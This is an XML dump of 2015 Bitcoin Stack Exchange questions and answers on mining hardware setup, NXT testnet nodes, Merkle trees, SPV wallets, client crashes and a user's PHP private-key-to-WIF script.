  <row Id="38390" PostTypeId="1" AcceptedAnswerId="38391" CreationDate="2015-07-03T14:26:31.450" Score="1" ViewCount="1886" Body="&lt;p&gt;Pretty much a newbie to mining and got an Avalon (Nano 3) to start, I'm running Windows 8.1 and using the LPC USB VCom port (COM3).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AvalonGUI runs about 5 minutes at 3-4 GH/s - then closes/stops operating.  No info in the Avalon.log. But according to slush pool, my worker does work. I stopped using AvalonGUI and have tried to get BFGminer (4.7.0) running.  the hash rate stays at 0 even though it sees the device. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my BFGminer command line:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;bfgminer -0 stratum+tcp://us-east.stratum.bitcoin.cz:3333 -S avalon:\.\COM3 -u xxxxxxx -P ppppppp&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am getting 'Avalon: Reset Failed! not an Avalon?' error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated! time costs money :)&lt;/p&gt;&#xA;" OwnerUserId="27203" LastEditorUserId="5406" LastEditDate="2016-04-04T12:07:30.050" LastActivityDate="2016-04-04T12:07:30.050" Title="Avalon mining issue" Tags="|miner-configuration|bfgminer|avalon|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38391" PostTypeId="2" ParentId="38390" CreationDate="2015-07-03T14:47:56.643" Score="0" Body="&lt;p&gt;most likely you have done something wrong, Are you sure you are using the correct program (Nano GUI?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an image for the .ini and what it should like:&#xA;&lt;a href=&quot;http://postimg.org/image/qak22zij9/2c2b57c6/&quot; rel=&quot;nofollow&quot;&gt;http://postimg.org/image/qak22zij9/2c2b57c6/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, don't expect much from this miner. it's merely a way to start mining but the profit from mining might barely cover it's cost.&lt;/p&gt;&#xA;" OwnerUserId="27120" LastActivityDate="2015-07-03T14:47:56.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38392" PostTypeId="1" AcceptedAnswerId="38402" CreationDate="2015-07-03T16:36:09.640" Score="1" ViewCount="258" Body="&lt;p&gt;Was wondering where can I access a public NXT testnet node?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-07-04T14:47:10.957" Title="Where can I access a NXT public testnet node?" Tags="|testnet|nxt|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38393" PostTypeId="2" ParentId="38379" CreationDate="2015-07-03T18:42:11.373" Score="3" Body="&lt;p&gt;In the official release announcement here:&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=1039713.msg11211433#msg11211433&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=1039713.msg11211433#msg11211433&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Downgrade warning&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Because release 0.10.0 and later makes use of headers-first synchronization and&#xA;parallel block download (see further), the block files and databases are not&#xA;backwards-compatible with pre-0.10 versions of Bitcoin Core or other software*&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So upgrading works fine, but if you later decide to downgrade the block and database files won't be compatible.&lt;/p&gt;&#xA;" OwnerUserId="27203" LastActivityDate="2015-07-03T18:42:11.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38394" PostTypeId="1" CreationDate="2015-07-04T00:58:23.333" Score="10" ViewCount="1098" Body="&lt;p&gt;So there are a lot of cryptocurrencies that tries to improve on Bitcoin's  1 Mb block size limit and 10 minute block time (6MB per hour) by using faster block times or larger block size limits. For example litecoin has 1 Mb block size limit and block time is 2.5 minutes (24MB per hour). Dogecoin has 500kb block size limit and block time is 1 minutes (30 MB per hour).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any cryptocurrency that does the opposite and uses either a longer block time or a smaller block size, with the intention of limiting blockchain growth?&lt;/p&gt;&#xA;" OwnerUserId="7267" LastEditorUserId="7267" LastEditDate="2015-07-04T02:43:15.537" LastActivityDate="2016-05-21T20:41:45.787" Title="Cryptocurrency with small block size limit or large block time" Tags="|altcoin|blocksize|block-size-increase|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38395" PostTypeId="1" AcceptedAnswerId="38401" CreationDate="2015-07-04T01:03:17.440" Score="1" ViewCount="150" Body="&lt;p&gt;I just saw this bitcoin globe &lt;a href=&quot;https://blockchain.info/nodes-globe?series=topBlockRelay&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/nodes-globe?series=topBlockRelay&lt;/a&gt; &#xA;It has two modes,&quot;Online Now&quot; and &quot;Miners&quot;. I wanted to ask if anyone knows what the bars and colors stand for and if there are any APIs which I can get those data.&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="27207" LastEditorUserId="14887" LastEditDate="2015-08-31T06:35:36.430" LastActivityDate="2015-08-31T06:35:36.430" Title="Getting bitcoin globe data" Tags="|blockchain.info|cryptography|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38397" PostTypeId="2" ParentId="38375" CreationDate="2015-07-04T01:47:29.797" Score="4" Body="&lt;p&gt;In addition to what Mikko said, there have been some recent stress tests on the bitcoin network in which a flood of low-fee transactions have been pushed through the system. When the blocksize becomes full (currently 1MB per block, though that is configurable [can be smaller, but not larger] by each miner) it is likely that the miners will take the transactions with the highest fees. Since you are talking about a 0 fee transaction, yours would probably be left behind until the more expensive transactions are processed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think of it like a train in which you can pay what you want to ride (and can also pay 0). If there are a bunch of people waving dollar bills around when the train pulls up, the conductor will let them on first. Your cheapness will mean you wait for the next train... unless the same thing happens again (and it might!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the recent tests, some transactions took up to 8 hours to get their first confirmation. This may change in the future, assuming the blockchain max size gets adjusted (there is a big debate on what to do next going on right now in the bitcoin circles). &lt;/p&gt;&#xA;" OwnerUserId="27209" LastActivityDate="2015-07-04T01:47:29.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38398" PostTypeId="2" ParentId="38288" CreationDate="2015-07-04T01:51:52.937" Score="-1" Body="&lt;p&gt;No, estimatefee is calculated locally by bitcoind in function of some statistics done on mempool. &lt;/p&gt;&#xA;" OwnerUserId="14709" LastActivityDate="2015-07-04T01:51:52.937" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38399" PostTypeId="2" ParentId="10479" CreationDate="2015-07-04T03:36:45.130" Score="26" Body="&lt;p&gt;&quot;Figure 7-2. Calculating the nodes in a merkle tree&quot; from &lt;a href=&quot;https://github.com/bitcoinbook/bitcoinbook/blob/14a25a6fd9e97002c57a46f1fe9faf48cd5d6e46/ch07.asciidoc#merkle-trees&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Mastering Bitcoin&lt;/em&gt;&lt;/a&gt; shows the Merkle Root (H&lt;sub&gt;ABCD&lt;/sub&gt;) of a list of four transactions: Tx A, Tx B, Tx C, and Tx D:&#xA;&lt;a href=&quot;https://github.com/bitcoinbook/bitcoinbook/blob/14a25a6fd9e97002c57a46f1fe9faf48cd5d6e46/ch07.asciidoc#merkle-trees&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ExJSC.png&quot; alt=&quot;Figure 7-2. Calculating the nodes in a merkle tree&quot;&gt;&lt;/a&gt;&#xA;&lt;hr&gt;&#xA;To verify that a transaction—for example, that with hash H&lt;sub&gt;K&lt;/sub&gt;—is a valid transaction (i.e., part of a list of, in this example, 16 transactions with hashes H&lt;sub&gt;A&lt;/sub&gt;, H&lt;sub&gt;B&lt;/sub&gt;, …&#xA; H&lt;sub&gt;P&lt;/sub&gt;), one need only perform at most 2*log&lt;sub&gt;2&lt;/sub&gt;(N) &amp;lt; N hashes, shown in the &lt;em&gt;Merkle path&lt;/em&gt; here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoinbook/bitcoinbook/blob/14a25a6fd9e97002c57a46f1fe9faf48cd5d6e46/ch07.asciidoc#merkle-trees&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Ep7y.png&quot; alt=&quot;Figure 7-5. A Merkle path used to prove inclusion of a data element&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If H&lt;sub&gt;K&lt;/sub&gt; leads to the correct Merkle root, then T&lt;sub&gt;K&lt;/sub&gt; was in the transaction list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the &lt;em&gt;Merkle path&lt;/em&gt;, needed to verify H&lt;sub&gt;k&lt;/sub&gt; corresponds with the Merkle root, only contains 4 hashes in the above example. The Merkle path takes up much less space than storing all the transactions in a block. (In the example above: 4 hashes takes much less space than 16.) This is why &lt;a href=&quot;https://github.com/bitcoinbook/bitcoinbook/blob/14a25a6fd9e97002c57a46f1fe9faf48cd5d6e46/ch07.asciidoc#merkle-trees-and-simplified-payment-verification-spv&quot; rel=&quot;nofollow noreferrer&quot;&gt;SPV&lt;/a&gt; is lighter-weight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case N = 16, and 2*log&lt;sub&gt;2&lt;/sub&gt;(16) = 5.55… is indeed less than 16.&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="4334" LastEditDate="2019-11-06T03:35:40.247" LastActivityDate="2019-11-06T03:35:40.247" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="38401" PostTypeId="2" ParentId="38395" CreationDate="2015-07-04T05:24:48.140" Score="2" Body="&lt;p&gt;That &quot;information&quot; being shown is effectively useless and therefor isn't made available in any consumable form. What is being shown is the GeoIP lookup of the node that a block or transaction was relayed to Blockchain.info, and the frequency at which that location appears in their database. It doesn't reveal the location of the originator of either inventory item, or provide anything worth knowing about the state of the network or its users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://getaddr.bitnodes.io/&quot; rel=&quot;nofollow&quot;&gt;http://getaddr.bitnodes.io/&lt;/a&gt; shows the approximate locations of many (but not all) listening Bitcoin nodes, which is about as close to reliable data as you can get for this sort of network. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-07-04T05:24:48.140" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="38402" PostTypeId="2" ParentId="38392" CreationDate="2015-07-04T08:10:48.120" Score="2" Body="&lt;p&gt;Start up Nxt on your local system in Testnet mode and display peers (on the Settings Menu (gear graphic) in the header bar). The peers with a domain name are likely to be public nodes. Here are a few:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;nxt.noip.me, raspnxt.hopto.org, node1.forgenxt.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, put node1.forgenxt.com:6876 in your browser to open the Nxt Wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the non-domain name (IP address only) will work too.&lt;/p&gt;&#xA;" OwnerUserId="20940" LastActivityDate="2015-07-04T08:10:48.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38403" PostTypeId="2" ParentId="38392" CreationDate="2015-07-04T14:47:10.957" Score="2" Body="&lt;p&gt;You can also look at the nxt.defaultTestnetPeers setting in nxt-default.properties&#xA;However, if you are planing to make changes to the client it makes sense that you run your own testnet node on your development workstation and download the testnet blockchain first.&lt;/p&gt;&#xA;" OwnerUserId="18874" LastActivityDate="2015-07-04T14:47:10.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38404" PostTypeId="2" ParentId="30340" CreationDate="2015-07-04T14:50:40.930" Score="3" Body="&lt;p&gt;Start your own node and access the page &lt;a href=&quot;http://localhost:7876/test&quot; rel=&quot;nofollow&quot;&gt;http://localhost:7876/test&lt;/a&gt; for a list of public APIs. You can also find some public peers which enable API access. Take a look at &lt;a href=&quot;http://peerexplorer.com&quot; rel=&quot;nofollow&quot;&gt;peerexplorer.com&lt;/a&gt; for an up to date list.&lt;/p&gt;&#xA;" OwnerUserId="18874" LastActivityDate="2015-07-04T14:50:40.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38405" PostTypeId="2" ParentId="38365" CreationDate="2015-07-04T18:19:38.840" Score="2" Body="&lt;p&gt;The issue was that &lt;code&gt;bitcoind&lt;/code&gt; was discovering my wrong IPv6 address. (It mistook my link IPv6 address for my public one.) I set &lt;code&gt;--discover=0&lt;/code&gt; and set my IPv4 and IPv6 addresses manually with &lt;code&gt;--externalip&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2015-07-04T18:19:38.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38407" PostTypeId="1" AcceptedAnswerId="38409" CreationDate="2015-07-04T22:58:27.753" Score="6" ViewCount="368" Body="&lt;p&gt;I am getting this problem today:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when syncing, the client suddenly crashes with the following debug.log:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.....&#xA;2015-06-29 14:30:34 IO error: C:\Users\Internet\AppData\Roaming\Bitcoin\chainstate\713704.ldb: Zugriff verweigert (access denied)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2015-06-29 14:30:34 &lt;strong&gt;* System error while flushing: Database I/O error&#xA;2015-06-29 14:36:59 ERROR: ProcessNewBlock : ActivateBestChain failed&#xA;2015-06-29 14:37:00 net thread interrupt&#xA;2015-06-29 14:37:00 opencon thread interrupt&#xA;2015-06-29 14:37:00 dumpaddr thread stop&#xA;2015-06-29 14:37:00 addcon thread interrupt&#xA;2015-06-29 14:37:03 msghand thread interrupt&#xA;2015-06-29 14:37:03 Shutdown: In progress...&#xA;2015-06-29 14:37:03 StopNode()&#xA;2015-06-29 14:37:03 UPNP_DeletePortMapping() returned : 403&#xA;2015-06-29 14:37:03 upnp thread interrupt&#xA;2015-06-29 14:37:03 IO error: C:\Users\Internet\AppData\Roaming\Bitcoin\chainstate\713704.ldb: Zugriff verweigert (access denied)&#xA;2015-06-29 14:37:03 *&lt;/strong&gt; System error while flushing: Database I/O error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The message says client is stopping but the process never closes. Any Ideas?&lt;/p&gt;&#xA;" OwnerUserId="27219" LastActivityDate="2015-07-04T23:32:59.720" Title="Bitcoin Client crashing while syncing" Tags="|bitcoin-core|synchronization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38409" PostTypeId="2" ParentId="38407" CreationDate="2015-07-04T23:32:59.720" Score="1" Body="&lt;p&gt;I've never used windows.  But on GNU/Linux those access denied messages usually have to do with file permissions (because nonexistence usually says &quot;no such file or directory&quot;).  The most typical case that I've seen is that you usually run this program as root and now you started it in normal user mode.&lt;/p&gt;&#xA;" OwnerUserId="27220" LastActivityDate="2015-07-04T23:32:59.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38410" PostTypeId="2" ParentId="4191" CreationDate="2015-07-05T01:05:15.067" Score="0" Body="&lt;p&gt;you need openjdk-7 to get it work ;)&lt;/p&gt;&#xA;" OwnerUserId="27221" LastActivityDate="2015-07-05T01:05:15.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38411" PostTypeId="1" CreationDate="2015-07-05T02:00:51.520" Score="2" ViewCount="66" Body="&lt;p&gt;Bitcoin Core &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/936/how-does-a-client-decide-which-is-the-longest-block-chain-if-there-is-a-fork&quot;&gt;compares blockchains based on how much work they contain&lt;/a&gt;, and not necessarily which one is longest. This is useful for preventing &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/35321/how-could-a-time-warp-attack-be-prevented&quot;&gt;time warp attacks.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://news.ycombinator.com/item?id=9831422&quot; rel=&quot;nofollow noreferrer&quot;&gt;This comment on HN&lt;/a&gt; says that the electrum client doesn't implement this, and just naively compares chain length:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Yes. It's possible to create a long chain at low difficulty and the original bitcoin client protects against that by computing the total &quot;work&quot; that has gone in a chain. However, Electrum just assumes that the longest chain will be the one which has most &quot;work&quot; in it which is wrong.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It seems surprising that electrum would change a major consensus rule; I can't see any rationale for it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the electrum client decide the best chain on the basis of how much work was done, (like Bitcoin Core) or how long the chain is?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="5406" LastEditDate="2018-05-04T17:06:04.607" LastActivityDate="2018-05-04T17:06:04.607" Title="Does the electrum client decide the best chain on the basis of how much work was done, or how long the chain is?" Tags="|electrum|best-chain|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38413" PostTypeId="1" CreationDate="2015-07-05T06:41:15.113" Score="4" ViewCount="1301" Body="&lt;p&gt;I have been writing a php file intended to create a bitcoin private key and change it to wallet import format. The issue is when I try a command in a gnome-terminal such as:&lt;br&gt;&#xA;bitcoin-cli importprivkey ygm8fAjomMyKVcb8vK8MPBByYpMDySY1vAxcpw6DUfPBHb8kv &quot;&quot; false&lt;br&gt;&#xA;I get an error:&lt;br&gt;&#xA;error: {&quot;code&quot;:-5,&quot;message&quot;:&quot;Invalid private key encoding&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From this I've infered that my code is flawed in creating a private key and changing it into wallet import format. But from what I see in the source code it should do what it says to at &lt;a href=&quot;https://en.bitcoin.it/wiki/Wallet_import_format&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Wallet_import_format&lt;/a&gt; under &quot;Private key to WIF&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the php files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;test1.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;require('devRand.php');&#xA;#require('base58.php');&#xA;&#xA;$a = new btcMakePrivKey();&#xA;#echo $GLOBALS['base58oper'];&#xA;function decodeHex($hex) {&#xA;    $hexchars = &quot;0123456789ABCDEF&quot;;&#xA;&#xA;    $hex = strtoupper($hex);&#xA;    $return = &quot;0&quot;;&#xA;    for ($i = 0; $i &amp;lt; strlen($hex); $i++) {&#xA;        $current = (string) strpos($hexchars, $hex[$i]);&#xA;        $return = (string) bcmul($return, &quot;16&quot;, 0);&#xA;        $return = (string) bcadd($return, $current, 0);&#xA;    }&#xA;    return $return;&#xA;}&#xA;function encodeBase58($hex) &#xA;{&#xA;    $base58chars = &quot;123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz&quot;;&#xA;    if (strlen($hex) % 2 != 0) {&#xA;        die(&quot;encodeBase58: uneven number of hex characters&quot;);&#xA;    }&#xA;    $orighex = $hex;&#xA;&#xA;    $hex = decodeHex($hex);&#xA;    $return = &quot;&quot;;&#xA;    while (bccomp($hex, 0) == 1) {&#xA;        $dv = (string) bcdiv($hex, &quot;58&quot;, 0);&#xA;        $rem = (integer) bcmod($hex, &quot;58&quot;);&#xA;        $hex = $dv;&#xA;        $return = $return . $base58chars[$rem];&#xA;    }&#xA;    $return = strrev($return);&#xA;&#xA;    //leading zeros&#xA;    for ($i = 0; $i &amp;lt; strlen($orighex) &amp;amp;&amp;amp; substr($orighex, $i, 2) == &quot;00&quot;; $i += 2) {&#xA;        $return = &quot;1&quot; . $return;&#xA;    }&#xA;    return $return;&#xA;}&#xA;class btcMakePrivKey&#xA;{&#xA;    //$base58oper = new base58();&#xA;    public function __construct()&#xA;    {&#xA;        #$this-&amp;gt;base58oper = new base58();&#xA;        $count = 0;  $privKey = &quot;&quot;;&#xA;        while($count &amp;lt; 62)&#xA;        {&#xA;            $appendable = devurandom_rand(0,15);&#xA;            switch($appendable)&#xA;            {&#xA;                case 10:&#xA;                $appendable = 'A';&#xA;                break;&#xA;                case 11:&#xA;                $appendable = 'B';&#xA;                break;&#xA;                case 12:&#xA;                $appendable = 'C';&#xA;                break;&#xA;                case 13:&#xA;                $appendable = 'D';&#xA;                break;&#xA;                case 14:&#xA;                $appendable = 'E';&#xA;                break;&#xA;                case 15:&#xA;                $appendable = 'F';&#xA;                break;&#xA;                default:&#xA;                break;&#xA;            }&#xA;            $count = $count + 1;&#xA;            $privKey = $privKey . $appendable;&#xA;        }&#xA;        $privKey = $this-&amp;gt;addLeadingByte($privKey);&#xA;        #echo $privKey . &quot;\n\n&quot;;&#xA;        $pkHashed = $this-&amp;gt;sha256Hash($this-&amp;gt;sha256Hash($privKey) );&#xA;        $checksum = substr($pkHashed, 0, 8);&#xA;        $privKey = $privKey . $checksum;&#xA;        #$privKey = $this-&amp;gt;base58oper-&amp;gt;encode($privKey);&#xA;        $privKey = encodeBase58($privKey);&#xA;        echo $privKey;// . &quot;\n\n&quot; . $pkHashed . &quot;\n\n&quot; . $checksum;&#xA;    }&#xA;    private function addLeadingByte($privKey)&#xA;    {&#xA;        return '80' . $privKey;&#xA;    }&#xA;    private function sha256Hash($privKey)&#xA;    {&#xA;        return hash('sha256', $privKey, false);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and devRand.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;//equiv to rand, mt_rand&#xA;//returns int in *closed* interval [$min,$max]&#xA;function devurandom_rand($min = 0, $max = 0x7FFFFFFF) {&#xA;    $diff = $max - $min;&#xA;    if ($diff &amp;lt; 0 || $diff &amp;gt; 0x7FFFFFFF) {&#xA;    throw new RuntimeException(&quot;Bad range&quot;);&#xA;    }&#xA;    $bytes = mcrypt_create_iv(4, MCRYPT_DEV_URANDOM);&#xA;    if ($bytes === false || strlen($bytes) != 4) {&#xA;        throw new RuntimeException(&quot;Unable to get 4 bytes&quot;);&#xA;    }&#xA;    $ary = unpack(&quot;Nint&quot;, $bytes);&#xA;    $val = $ary['int'] &amp;amp; 0x7FFFFFFF;   // 32-bit safe&#xA;    $fp = (float) $val / 2147483647.0; // convert to [0,1]&#xA;    return round($fp * $diff) + $min;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I intend my code to create a bitcoin private key and convert it to a useable key in wallet import format, which can be used in bitcoin-cli importprivkey insertKeyHere &quot;&quot; false &lt;/p&gt;&#xA;" OwnerUserId="25105" LastEditorUserId="5406" LastEditDate="2017-12-24T04:49:03.393" LastActivityDate="2024-03-20T11:02:45.310" Title="php private key to wallet import format (wip)" Tags="|private-key|php|wallet-import-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38414" PostTypeId="1" CreationDate="2015-07-05T10:23:10.617" Score="3" ViewCount="20719" Body="&lt;p&gt;I can not find any website or service to buy bitcoins with my AMEX.&#xA;www.bctquick.com does not work aymore ? (webpage inactive)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any advise ?&lt;/p&gt;&#xA;" OwnerUserId="27227" LastEditorUserId="5406" LastEditDate="2017-03-04T10:27:18.313" LastActivityDate="2018-06-25T18:10:05.790" Title="Buy bitcoins with my regular AMEX (american express card)" Tags="|buy-bitcoins|american-express|" AnswerCount="3" CommentCount="2" ClosedDate="2018-07-03T08:06:57.040" ContentLicense="CC BY-SA 3.0" />
  <row Id="38416" PostTypeId="1" AcceptedAnswerId="38417" CreationDate="2015-07-05T12:25:17.647" Score="0" ViewCount="1690" Body="&lt;p&gt;I ran&#xA;&lt;code&gt;./minerd -a sha256d -o stratum+tcp://stratum.f2pool.com:3333 -u (my username).node1&lt;/code&gt;. Here is a sample of the output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[2015-07-05 07:15:23] thread 1: 146649416 hashes, 2332 khash/s&#xA;[2015-07-05 07:15:24] thread 2: 146553656 hashes, 2336 khash/s&#xA;[2015-07-05 07:15:25] thread 0: 146977944 hashes, 2332 khash/s&#xA;[2015-07-05 07:16:34] thread 3: 140158460 hashes, 1976 khash/s&#xA;[2015-07-05 07:16:34] thread 2: 140169760 hashes, 1986 khash/s&#xA;[2015-07-05 07:16:34] thread 1: 139945520 hashes, 1968 khash/s&#xA;[2015-07-05 07:16:36] thread 0: 139935536 hashes, 1979 khash/s&#xA;[2015-07-05 07:17:27] thread 1: 118086220 hashes, 2251 khash/s&#xA;[2015-07-05 07:17:27] thread 2: 119150888 hashes, 2247 khash/s&#xA;[2015-07-05 07:17:27] thread 3: 118589808 hashes, 2228 khash/s&#xA;[2015-07-05 07:17:29] thread 0: 118715120 hashes, 2241 khash/s&#xA;[2015-07-05 07:18:25] thread 3: 133685248 hashes, 2320 khash/s&#xA;[2015-07-05 07:18:25] thread 2: 134829324 hashes, 2331 khash/s&#xA;[2015-07-05 07:18:25] thread 1: 135066588 hashes, 2305 khash/s&#xA;[2015-07-05 07:18:27] thread 0: 134440760 hashes, 2324 khash/s&#xA;[2015-07-05 07:19:26] thread 1: 138319856 hashes, 2290 khash/s&#xA;[2015-07-05 07:19:26] thread 3: 139194024 hashes, 2283 khash/s&#xA;[2015-07-05 07:19:26] thread 2: 139838276 hashes, 2284 khash/s&#xA;[2015-07-05 07:19:27] thread 0: 139453064 hashes, 2298 khash/s&lt;/code&gt;&lt;BR&gt;&#xA;It just stays like this, with no yays or boos... What am I doing wrong?&#xA;(OS X Yosemite)&lt;/p&gt;&#xA;" OwnerUserId="27230" LastEditorUserId="5406" LastEditDate="2016-04-04T12:06:36.453" LastActivityDate="2016-04-04T12:06:36.453" Title="Minerd not showing boo or yay" Tags="|miner-configuration|mac|cpu-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38417" PostTypeId="2" ParentId="38416" CreationDate="2015-07-05T12:49:07.710" Score="2" Body="&lt;p&gt;F2Pool (along with most today) don't offer share difficulties low enough for CPU mining, in this case the default is 1024. It will take on average one week to mine a single share at this point in time, and it will pay out less than 100th of a Satoshi (0.0000000001 BTC, 0.00000002608 USD) for the CPU time expended. CPU mining has been unprofitable since 2010 as the power costs for doing it are many orders of magnitude higher than the income you can make doing it. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-07-05T12:49:07.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38418" PostTypeId="1" CreationDate="2015-07-05T13:34:51.190" Score="4" ViewCount="1767" Body="&lt;p&gt;My understanding is that an SPV wallet downloads &quot;headers only&quot;. These headers are not enough to get a UTXO set, so it has to rely on another data source when it comes time to move bitcoin. If thats the case, then why does it even need the headers?&lt;/p&gt;&#xA;" OwnerUserId="18150" LastActivityDate="2015-07-05T15:00:16.763" Title="How does an SPV wallet use the headers that it downloads?" Tags="|spv|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38419" PostTypeId="2" ParentId="38418" CreationDate="2015-07-05T13:59:01.323" Score="1" Body="&lt;p&gt;An SPV client uses the headers along with some other data to make sure that the Bitcoin it has been told it has received actually exist for the rest of the network. Absent this assurance, it would be trivial for somebody to simply tell non-validating wallets that they received money when they really didn't. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To prove funds exist without downloading the entire chain, the SPV wallet is supplied with a blocks merkle tree as proof of payment. They can validate that the merkle tree contains a transaction output paying them, that it is from a block with valid proof of work, and that the block header comes from a difficult to produce chain that leads back to the genesis block. Due to the structure of the merkle tree, it can be pruned to contain only transactions which are relevant to the client without changing the hash that was included in a block header, which has significant space and time savings over just sending the whole thing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The SPV model is quite weak, however. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Actually finding out which outputs are yours delegates this work to a third party who may not have your privacy at heart, currently in most clients this uses bloom filters which broadcast your interest in wallet information across the network in a very identifying way.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Not being able to do full validations of blocks means that you could potentially accept payment in a block that the network will not accept because it is invalid in a place you can't validate (spends outputs that don't exist, for example). There is a trust in miners for this security model, and relies on them doing the validation of transactions for the system to be of sufficient security. This is usually supported by waiting for multiple confirmations on transactions, making an assumption about how much a malicious miner will be willing to throw away on an invalid chain in order to dupe SPV clients.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It has been shown in the 5th of July 2015 forking event that a significant portion of miners do no validation at all of block contents in some situations. In this particular event SPV clients could have seen 6 confirmations (the generally accepted &quot;safe&quot; amount) on transactions which were actually invalited. In this case all SPV wallets and most block explorers (and the wallet services which use their API) were at risk of losses if they accepted money in transactions which were later found to be double spends in the main chaihn.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-07-05T15:00:16.763" LastActivityDate="2015-07-05T15:00:16.763" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
